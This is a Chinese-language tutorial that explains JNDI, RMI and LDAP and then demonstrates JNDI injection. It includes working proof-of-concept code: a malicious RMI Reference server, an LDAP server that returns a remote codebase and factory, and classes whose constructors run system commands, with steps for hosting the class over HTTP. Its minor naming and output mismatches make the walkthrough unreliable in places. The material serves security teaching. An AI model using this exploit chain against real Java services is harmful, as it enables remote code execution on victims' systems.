JNDI概念
首先第一个问题,什么是 JNDI?
JNDI (Java Naming and Directory Interface),是Java平台提供的一个API,它允许Java应用程序访问不同的命名和目录服务。简而言之,JNDI为Java应用提供了一种统一的方式来查询和访问外部资源,如数据库、文件系统、远程对象等。
虽然有点抽象,但我们现在至少知道它是一个API接口;
那Naming 和 Directory 是什么意思?
Naming
在JNDI中,Naming是指通过“名字”来访问资源的能力。应用程序可以使用JNDI来查找数据库连接、远程对象等,而无需知道这些资源的具体位置或细节。名称服务普遍存在于计算机系统中,比如:
- DNS: 将易于记忆的域名(如
www.example.com
)映射到IP地址,这使得用户无需记忆复杂的数字地址就能访问网站。 - Active Directory (AD):允许管理员使用人类可读的名称来管理网络资源,如用户账户、计算机、打印机等。
- 文件系统: 使用路径名(如
/home/user/document.txt
或C:\Users\user\document.txt
)来命名和访问文件和目录。
当然还有一个跟本主题息息相关的一个名称服务LDAP
LDAP(Lightweight Directory Access Protocol),即轻量级目录访问协议,其名称(DN: Distinguished Name)从右到左进行逐级定义,也就是说,DN从右到左读取时,从最广泛的类别(如域)开始,逐步到达最具体的标识符(如一个特定的个人或对象),以下是一个DN示例:
cn=John,ou=users,dc=example,dc=com
上述定义即表示在 com下的example域中的users组织单位中查找 John 的对象,这种结构使得LDAP能够以一种层次化的方式组织和管理大量的信息,同时确保每个条目都可以被唯一且准确地定位。
Naming中的重要概念
Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (文件描述符),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。 Reference
对象提供了一种方式来描述和重建对远程资源的引用,这正是 JNDI 注入攻击利用的核心机制。
Directory
在Java Naming and Directory Interface(JNDI)中,”Directory”是指一种提供比简单命名服务更丰富的功能的服务类型。目录服务不仅能够存储对象的名称(即命名服务),还能存储关于这些对象的详细信息(属性)。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
以打印机服务为例,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。
目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。一些典型的目录服务有:
- Network Information Service(NIS): NIS是一种用于集中管理Unix系统中用户账户和组信息的服务。它允许网络上的机器共享配置文件,如密码文件或主机文件
- Active Directory (AD):以目录形式组织和存储关于网络对象的信息,如用户、计算机和组,并提供了对这些对象的管理和访问控制
- Novell eDirectory: 一个跨平台的目录服务,提供了对用户、应用程序、设备和网络资源的身份和访问管理。它支持复杂的查询和分布式管理
- 其他基于 LDAP 协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
JNDI API
根据上面的介绍,我们知道命名服务允许应用通过易于理解的名称来访问资源,而不必关心资源的物理位置或具体实现。目录服务不仅提供了命名功能,还允许存储和访问关于对象的详细信息并且提供了丰富的查询功能,使得应用可以根据复杂的条件搜索和管理信息。
但在Java应用,特别是企业级应用的发展过程中,出现了一个核心需求:如何有效地管理和访问各种资源和服务。这些资源包括数据库连接、用户信息、配置数据等,它们可能分布在不同的网络位置,由不同的系统或协议管理。为了满足企业应用在命名和目录服务方面的需求,JNDI API应运而生。JNDI的目标是提供一个统一的接口,通过这个接口,Java应用可以与各种命名和目录服务交互,而无需关心这些服务的具体实现细节。
一张经典的架构图如下:
我们从图中可以看到有一个JNDI SPI, SPI(Service Provider Interface)即服务供应接口,它是JNDI框架的扩展点,允许不同的命名和目录服务供应商将他们的实现接入到JNDI框架中。简单来说,SPI是一种机制,使得JNDI可以与多种不同的命名和目录服务进行交互,而不限于任何特定的服务实现。
作用与接口
- 提供接口实现:JNDI SPI定义了一组接口,这些接口必须由命名和目录服务的供应商实现,以便它们的服务可以通过JNDI框架使用。
- 实现解耦:SPI使得JNDI的客户端代码(例如,应用程序使用JNDI来查找资源)与特定命名和目录服务的实现解耦。这意味着应用程序可以透明地访问任何遵循这些接口的服务。
- 扩展性:通过SPI,JNDI提供了极大的灵活性和扩展性。它可以支持多种服务,如LDAP、DNS、RMI服务等,这些服务只需遵循SPI所规定的接口。
JNDI中的关键包
-
javax.naming
这个包是JNDI中最核心的部分,提供了访问命名服务的基本类和接口。它包括了如
Context
、Name
、NamingEnumeration
等基础类,用于执行命名操作,如查找(lookup)、绑定(bind)、解除绑定(unbind)等。 -
javax.naming.directory
提供了对目录服务的支持,扩展了
javax.naming
包。这个包中的类和接口,如DirContext
、Attributes
,用于处理存储在目录服务中的复杂对象和其属性。 -
javax.naming.event
用于处理命名和目录事件的通知。这个包允许应用程序监听和响应命名服务中发生的各种事件,例如对象的更改、添加或删除。
-
javax.naming.ldap
提供了专门用于LDAP(轻量级目录访问协议)服务的类和接口。这个包针对LDAP提供了特定的功能扩展,例如LDAP特有的搜索操作和属性处理。
-
javax.naming.spi
为服务提供商提供了实现JNDI接口的机制。这个包的目的是让不同的命名和目录服务供应商能够将他们的实现集成到JNDI框架中。
示例:使用JNDI访问远程打印服务
假设有一个远程打印服务注册在JNDI目录中,您可以使用JNDI API来查找并使用这个服务:
在这个例子中,InitialContext
类用于启动JNDI查找过程,lookup
方法用于根据名称找到远程打印服务的引用,并且通过这个引用调用打印服务。
Context ctx = new InitialContext();
PrintService ps = (PrintService) ctx.lookup("cn=RemotePrinter,ou=PrintServices,dc=example,dc=com");
ps.print(document);
JNDI SPI
本节主要介绍在 JDK 中内置的两个Service Provider,分别是 RMI和LDAP。这两个服务本身和 JNDI 没有直接的依赖,而是通过 SPI 接口实现了联系,所以接下来我们先了解一下这些服务。
RMI
RMI(Remote Method Invocation,远程方法调用)是Java中用于实现远程通信的一种机制。它允许在一个Java虚拟机(JVM)中的对象调用另一个JVM中对象的方法。RMI架构的设计允许客户端和服务器之间进行透明的通信。
一个简单的 RMI 架构主要由三部分组成,分别是接口定义、服务端实现和客户端调用。
-
接口定义
在RMI架构中,接口定义是共享的协议,它规定了可供远程调用的方法。这些接口定义了可以从远程客户端访问的服务和操作
import java.rmi.Remote; import java.rmi.RemoteException; public interface Hello extends Remote { // 这个方法可以被远程调用 String sayHello() throws RemoteException; }
-
服务端
服务端实现指的是具体实现了这些远程接口的类。这些实现了接口的类实际上定义了客户端可以远程调用的方法的具体行为,并将其注册到RMI注册表
import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class Server implements Hello { public Server() {} // Server 类实现了 Hello 接口 public String sayHello() { return "Hello, world!"; } public static void main(String args[]) { try { Server obj = new Server(); // exportObject 方法用于导出远程对象,使其能够接收远程调用 // 使用1098端口作为远程对象的通信端口,如果指定为0,则系统会自动选择一个可用的端口 Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1111); // 将远程对象的引用绑定到RMI注册表中的一个名称上,此例中为 "Hello"),1099端口通常用于运行RMI注册表 Registry registry = LocateRegistry.getRegistry(1099); registry.bind("Hello", stub); System.err.println("Server ready"); // 添加shutdown hook以解除绑定;会在JVM关闭时运行解除绑定; Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { registry.unbind("Hello"); System.err.println("Server unbound"); } catch (Exception e) { System.err.println("Server unbinding exception: " + e.toString()); e.printStackTrace(); } })); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
-
客户端
客户端调用是指客户端程序查找远程对象并调用其方法的过程。客户端使用RMI的查找功能通过网络定位远程对象,并调用其公开的方法
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { private Client() {} public static void main(String[] args) { try { // 获取RMI注册表实例 Registry registry = LocateRegistry.getRegistry(1099); // 通过lookup查找并获取名称为 "Hello" 的远程对象 Hello stub = (Hello) registry.lookup("Hello"); // 调用远程对象的 sayHello 方法并输出结果 String response = stub.sayHello(); System.out.println("response: " + response); } catch (Exception e) { System.err.println("Client exception: " + e.toString()); e.printStackTrace(); } } }
-
编译&&运行:
编译所有java文件:生成
out/{Client,Hello,Server}.class
文件$ javac -d out Client.java Hello.java Server.java
启动RMI Registry:在含有编译后的类文件的目录下运行
rmiregistry
命令;RMI注册表默认监听在1099端口$ cd out $ rmiregistry
启动 RMI 服务器: 将导出远程对象并将它们注册到RMI注册表,会监听指定的 1111 端口,用于客户端调用具体方法
# 回到工程所在路径,即out同目录 $ java -cp out Server Server ready
启动客户端:连接到RMI注册表,查询远程对象并调用它的方法
$ java -cp out Client response: Hello, world!
需要注意的点:
-
rmiregistry 程序运行在 out 目录下,也就是我们编译的输出路径;
-
rmiregistry 启动后可能会过一段时间后才真正开始监听端口;
-
如果 Server 绑定后退出,那么绑定信息仍然残留在 rmiregistry 中,再次绑定会提示
java.rmi.AlreadyBoundException
,因此 RMI 服务端退出前应该先解除绑定; -
远程调用的参数和返回值经过序列化后通过网络传输(marshals/unmarshals);
-
LDAP
LDAP(轻量级目录访问协议)是一种用于访问和维护目录服务的网络协议。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。
目录服务与传统数据库的区别
结构:LDAP目录服务是一种树状的数据库,主要用于保存描述性的、基于属性的信息。这种层次结构提供了优异的读性能。
写性能:相比于传统数据库,LDAP写性能较差,且不支持复杂的事务处理和回滚功能,因此不适合存储经常变动的数据。
LDAP客户端示例:进行基本的搜索操作:
import org.apache.directory.ldap.client.api.LdapConnection;
import org.apache.directory.ldap.client.api.LdapNetworkConnection;
import org.apache.directory.ldap.client.api.LdapConnectionConfig;
import org.apache.directory.api.ldap.model.message.SearchScope;
import org.apache.directory.api.ldap.model.cursor.EntryCursor;
import org.apache.directory.api.ldap.model.entry.Entry;
import org.apache.directory.api.ldap.model.message.SearchRequest;
import org.apache.directory.api.ldap.model.message.SearchRequestImpl;
import org.apache.directory.api.ldap.model.name.Dn;
public class LdapExample {
public static void main(String[] args) {
// LDAP服务器的地址和端口
String ldapHost = "localhost";
int ldapPort = 389;
// 设置连接配置
LdapConnectionConfig config = new LdapConnectionConfig();
config.setLdapHost(ldapHost);
config.setLdapPort(ldapPort);
try (LdapConnection connection = new LdapNetworkConnection(config)) {
// 连接到LDAP服务器
connection.bind();
// 创建搜索请求
SearchRequest searchRequest = new SearchRequestImpl();
searchRequest.setBase(new Dn("dc=example,dc=com"));
searchRequest.setFilter("(objectClass=inetOrgPerson)");
searchRequest.setScope(SearchScope.SUBTREE);
// 执行搜索
try (EntryCursor cursor = connection.search(searchRequest)) {
// 遍历搜索结果
for (Entry entry : cursor) {
System.out.println(entry);
}
}
// 断开连接
connection.unBind();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上述指定的过滤项称为属性,LDAP协议中常见的属性定义如下:
String | X.500 AttributeType | 备注 |
---|---|---|
CN | commonName | 常用名称(姓名) |
L | localityName | 地点名称(城市等) |
ST | stateOrProvinceName | 州/省名称 |
O | organizationName | 组织名称(公司等) |
OU | organizationalUnitName | 组织单位名称(部门等) |
C | countryName | 国家名称 |
STREET | streetAddress | 街道地址 |
DC | domainComponent | 域组件(域名的一部分) |
UID | userid | 用户ID |
其中值得注意的是:
- DC: Domain Component,组成域名的部分,比如域名 example.com 的一条记录可以表示为 dc=example,dc=com,从右至左逐级定义;
- DN: Distinguished Name,由一系列属性(从右至左)逐级定义的,表示指定对象的唯一名称;属性 type 和 value 使用等号分隔,每个属性使用逗号分隔。其他属性开发者可以自行添加,比如对于企业人员的记录可以添加工号、企业邮箱等属性
JNDI使用
所以JNDI作为一个通用的、统一的接口,它提供了一种标准化的方法来访问和使用基于Java的各种服务,但是不直接提供RMI或LDAP服务,而是提供了访问这些服务的标准方式。它充当了客户端应用程序和这些服务之间的中间层。通过使用JNDI,Java应用程序可以在不关心底层服务细节的情况下,统一地访问和操作这些服务。
JNDI和RMI
- 使用JNDI,可以将RMI服务的引用(远程对象)绑定到一个命名服务(如RMI注册表),然后客户端可以通过JNDI查找这些远程对象,并进行远程方法调用。
JNDI和LDAP
- JNDI为访问和操作目录服务(如LDAP)提供了一套标准API。这使得Java应用能够连接到LDAP服务器,执行搜索、添加、删除和修改操作。
让我们再回首看看这张JNDI架构图:有没有觉得亲切一点?
JNDI注入初探
一、使用 JNDI 接口去查询 DNS 服务:
Java的标准JNDI API并不直接支持DNS查询。相反,它提供了一个通用框架,您可能需要依赖第三方库(如dnsjava)来实际执行DNS查找
如果您使用Maven作为构建工具,可以在pom.xml
文件中添加以下依赖:
<dependencies>
<dependency>
<groupId>dnsjava</groupId>
<artifactId>dnsjava</artifactId>
<version>2.1.9</version>
</dependency>
</dependencies>
客户端示例代码
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class DnsLookup {
public static void main(String[] args) {
// 设置DNS服务器的地址
String dnsUrl = "dns://114.114.114.114";
// 设置要查询的域名
String domainToLookup = "example.com";
// 设置JNDI环境参数
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, dnsUrl);
try {
// 创建DirContext对象
DirContext ctx = new InitialDirContext(env);
// 执行DNS查询,查询A记录
NamingEnumeration<?> namingEnum = ctx.getAttributes(domainToLookup, new String[]{"A"});
while (namingEnum.hasMore()) {
System.out.println(namingEnum.next());
}
namingEnum.close();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
编译输出:
$ javac DNSClient.java
$ java DNSClient
{a=A: xx.xx.xx.xx}
二、使用 JNDI 接口去查询 LDAP服务:
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import java.util.Hashtable;
public class LdapExample {
public static void main(String[] args) {
// LDAP服务器的地址
String url = "ldap://localhost:389";
// 要连接的LDAP目录的DN(Distinguished Name)
String connDn = "cn=admin,dc=example,dc=com";
// 要连接的LDAP目录的密码
String password = "adminpassword";
// 设置LDAP连接的环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, connDn);
env.put(Context.SECURITY_CREDENTIALS, password);
try {
// 创建LDAP连接上下文
DirContext ctx = new InitialDirContext(env);
// 搜索配置
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
// 进行搜索的基础DN
String searchBase = "dc=example,dc=com";
// 搜索过滤条件,例如搜索用户lulu;
// objectClass=inetOrgPerson 确保搜索结果限于互联网组织人员对象,cn=lulu 进一步限制搜索结果只包括那些其常用名称(CN)属性为"lulu"的对象
String searchFilter = "(&(objectClass=inetOrgPerson)(cn=lulu)";
// 执行搜索
NamingEnumeration<SearchResult> results = ctx.search(searchBase, searchFilter, searchControls);
// 遍历搜索结果
while (results.hasMore()) {
SearchResult searchResult = results.next();
System.out.println("Name: " + searchResult.getName());
}
// 关闭连接
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译输出示例:
{mail=mail: lulu@example.org, userpassword=Password: [p@ssw0rd, objectclass=objectClass: inetOrgPerson, person, top, gn=gn: lulu, sn=sn: Wang, cn=cn: lulu}
动态协议切换 [重点]
前面我们看到初始化 JNDI 上下文主要使用环境变量实现:
- INITIAL_CONTEXT_FACTORY: 指定初始化协议的工厂类;
- PROVIDER_URL: 指定对应名称服务的 URL 地址;
在JNDI中,动态协议切换指的是在程序运行时,根据需要自动改变使用的协议或服务类型的能力。Context.lookup
方法用于根据名称查找对象,这个名称可以包含一个URL,该URL指定了要使用的服务和协议,例如ldap://xxx
、rmi://xxx
等。如果这个URL来自不可信的用户输入,攻击者可能会利用这一点来引发恶意行为。
动态协议切换示例代码:
当
ctx.lookup(name)
被执行时,它将尝试连接到用户指定的URL,可能触发恶意行为。
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class JndiInjectionExample {
// lookup方法接收一个字符串参数name,这个参数用于JNDI查找的名称
public static void lookup(String name) {
try {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
Context ctx = new InitialContext(env);
// 查找操作,其中name是外部输入
Object obj = ctx.lookup(name);
// 处理查找到的对象...
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
// 假设这是一个外部输入,指向恶意服务器的url
String userInput = "ldap://malicious-server.com/exp";
lookup(userInput);
}
}
远程加载与执行:
- 恶意代码的托管:攻击者在恶意服务器上托管恶意代码。通常是一个Java类或对象,执行时能够触发攻击者想要的恶意行为。
- JNDI查找:在受影响的Java应用中,JNDI查找使用外部控制的输入;比如通过用户输入构建的url,而url指向了攻击者的恶意服务器(例如`ldap://malicious-server.com/exp),则应用将尝试连接到这个服务器。
- 远程类加载:如果Java的JNDI服务允许从LDAP或RMI服务加载Java类。当应用连接到攻击者的服务器时,恶意服务器响应这个JNDI查找请求,并提供恶意类的引用。
- 代码执行:当这个恶意类被加载到应用中时,其内含的恶意代码就会被执行。可能造成系统的破坏、数据泄露、反弹Shell等各种攻击行为。
以下是JDK中默认支持的一些JNDI服务类型及其对应的工厂类示例
服务类型 | 工厂类 | 描述 |
---|---|---|
LDAP | com.sun.jndi.ldap.LdapCtxFactory |
轻量级目录访问协议,常用于访问和管理目录服务中的信息 |
RMI | com.sun.jndi.rmi.registry.RegistryContextFactory |
远程方法调用,允许在不同Java虚拟机之间进行远程通信和方法调用 |
DNS | com.sun.jndi.dns.DnsContextFactory |
域名系统,用于解析域名到IP地址 |
CORBA | com.sun.jndi.cosnaming.CNCtxFactory |
一种中间件设计,允许不同程序之间通信,不论编程语言或平台 |
Filesystem | com.sun.jndi.fscontext.RefFSContextFactory |
用于访问和操作文件系统资源 |
JNDI注入应用
根据前面的介绍,我们知道基于 JNDI 的 lookup 内容如果用户可控,这样来使客户端访问恶意的RMI或者 LDAP服务来加载恶意的对象 从而执行代码完成利用;
JNDI注入之RMI
前面我们已经知道RMI的基本用法, 服务端可以绑定一个对象,在客户端进行那个查找的时候以序列化的方式返回;同时,也可以绑定一个对象的引用,让客户端去指定的地址获取对象;
攻击者构造的RMI恶意服务端
代码说明:
演示了如何在 RMI 服务端创建一个恶意的
Reference
对象并通过ReferenceWrapper
将其绑定到 RMI 注册表中。因为绑定的是Reference对象,客户端在本地CLASSPATH查找Exploit类,如果没有,则根据设定的Reference属性到URLhttp://localhost/EvilCClass.class
获取构造对象实例 构造方法中的恶意代码会被执行.
// ServerExp.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ServerExp {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
// 定义一个 URL,指向恶意类的位置。这里假设恶意类托管在本地的 8000 端口上
String factoryUrl = "http://localhost:8000/";
// 三个参数的定义:
// className 远程加载时所使用的类名
// classFactory 加载的class中需要实例化的类的名称
// classFactoryLocation 提供classes数据的地址[可以是file/ftp/http等协议]
Reference reference = new Reference("test","test", factoryUrl);
// 使用 ReferenceWrapper 对 Reference 对象进行封装。
// 这是必要的,因为 Reference 本身不是一个远程对象,而 ReferenceWrapper 是
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 在 RMI 注册表中绑定名称为 "Foo" 的对象。
// 任何尝试查找这个名称的客户端都会接收到封装的 Reference 对象
registry.bind("calc", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
恶意类EvilClass 的定义为:
// EvilClass.java
import java.lang.Runtime;
public class EvilClass{
public EvilClass() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
客户端:
// JNDILookup.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILookup {
public static void main(String[] args) {
if (args.length != 1) {
System.out.println("Usage: java JNDILookup <name>");
return;
}
String nameToLookup = args[0];
try {
// 创建一个初始的JNDI上下文
InitialContext context = new InitialContext();
// 尝试查找指定名称的JNDI资源
Object resource = context.lookup(nameToLookup);
// 打印结果
System.out.println("Resource found: " + resource);
// 关闭JNDI上下文
context.close();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
要想达到JNDI注入的演示效果,需要遵从以下步骤:
步骤1: 新开窗口,准备恶意类 EvilClass
-
编译
EvilClass
:-
将之前的
EvilClass
源代码保存为EvilClass.java
。 -
使用
javac EvilClass.java
编译这个类,生成EvilClass.class
文件。
-
-
部署
EvilClass
:- 在编译后的
EvilClass.class
同目录下启动一个http服务python3 -m http.server 8000
, 使这个类可以被访问
- 在编译后的
步骤 2: 新开窗口,设置并运行服务端
-
编译并运行服务端
-
将RMI服务端代码保存为
ServerExp.java
。 -
使用
javac ServerExp.java
编译这个类,生成ServerExp.class
文件。 -
运行服务端程序:
java ServerExp
。这将在本地启动 RMI 服务,并绑定名为 “Foo” 的恶意Reference
对象。
-
步骤 3: 新开窗口,运行客户端 JNDILookup
-
编译并运行客户端
-
将客户端代码保存为
JNDILookup.java
。 -
使用
javac JNDILookup.java
编译这个类,生成JNDILookup.class
文件。 - 运行客户端程序,并指定 RMI 查找路径:
java JNDILookup rmi://localhost/Foo
。 - 注意:确保 RMI 服务端已经启动,可以查看1099端口是否已经被rmi服务使用,并且
EvilClass
可以被访问。
$ java JNDILookup rmi://localhost:1099/Foo EvilClass: static block EvilClass: IIB block EvilClass: constructor EvilClass: getObjectInstance ret: null
-
JNDI注入之LDAP
我们可以通过
LDAP
服务来绕过URLCodebase
实现远程加载,LDAP
服务也能返回JNDI Reference
对象,利用过程与jndi
+RMI Reference
基本一致,不同的是,LDAP
服务中lookup
方法中指定的远程地址使用的是LDAP
协议,由攻击者控制LDAP
服务端返回一个恶意jndi Reference
对象,并且LDAP
服务的Reference
远程加载Factory
类并不是使用RMI Class Loader
机制,因此不受trustURLCodebase
限制。 利用之前,需要在这个网站下载LDAP
服务unboundid-ldapsdk-3.1.1.jar
https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1
LDAP服务端
-
引入依赖
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.1.1</version> </dependency>
-
启动LDAP服务,JDAP_Server.java。其中设置我们的恶意对象类为EXP,Codebase为
http://127.0.0.1:8888/#EXP
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LDAP_Server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { // 参数中的URL,指向恶意Java类 String[] args=new String[]{"http://127.0.0.1:8888/#EXP"}; int port = 9999; // LDAP服务器监听的端口 try { // 配置LDAP服务器 InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); // 添加自定义操作拦截器 config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } // 自定义的LDAP操作拦截器,用于修改LDAP服务器的响应 private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; // 构造函数接收恶意代码的URL public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { // 发送包含恶意Java类引用的搜索结果 sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } // 构造并发送包含恶意代码引用的LDAP搜索结果 protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
远程恶意类
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
// 定义一个名为EXP的类,它实现了ObjectFactory接口
public class EXP implements ObjectFactory {
public EXP() throws Exception{
try {
// 当实例化EXP类时,尝试执行系统命令,本例子是打开系统的计算器应用
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
// 在JNDI查找中,此方法用于创建对象实例
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
// 方法不执行任何操作,直接返回null
// 在实际的攻击场景中,这里可以包含更复杂的逻辑
return null;
}
}
受害者客户端
import javax.naming.InitialContext;
public class JNDI_LDAP {
public static void main(String[]args) throws Exception{
// 定义一个指向LDAP服务的URL,URL指向本地主机上的9999端口
// 并查找名为EXP的资源
String string = "ldap://localhost:9999/EXP";
// 创建一个InitialContext对象,这是进行JNDI查找的起点
InitialContext initialContext = new InitialContext();
// 使用InitialContext对象的lookup方法来查找指定的URL
// 尝试连接到LDAP服务器,并查找EXP资源
initialContext.lookup(string);
}
}
JNDI注入高版本限制
在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,
java.rmi.server.useCodebaseOnly
的值必须为false
。但是从JDK 6u45
、7u21
开始,java.rmi.server.useCodebaseOnly
的默认值就是true
。
JNDI_RMI_Reference限制
JNDI同样有类似的限制,在JDK 6u132
, JDK 7u122
, JDK 8u113
之后Java限制了通过RMI
远程加载Reference
工厂类。com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类。如下所示
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at JNDI_Dynamic.main(JNDI_Dynamic.java:7)
Process finished with exit code 1
JNDI_LDAP_Reference限制
但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference
工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory
类进行了限制,在JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值同样被修改为了false
,对应的CVE编号为:CVE-2018-3149
。
绕过高版本限制请听下回分解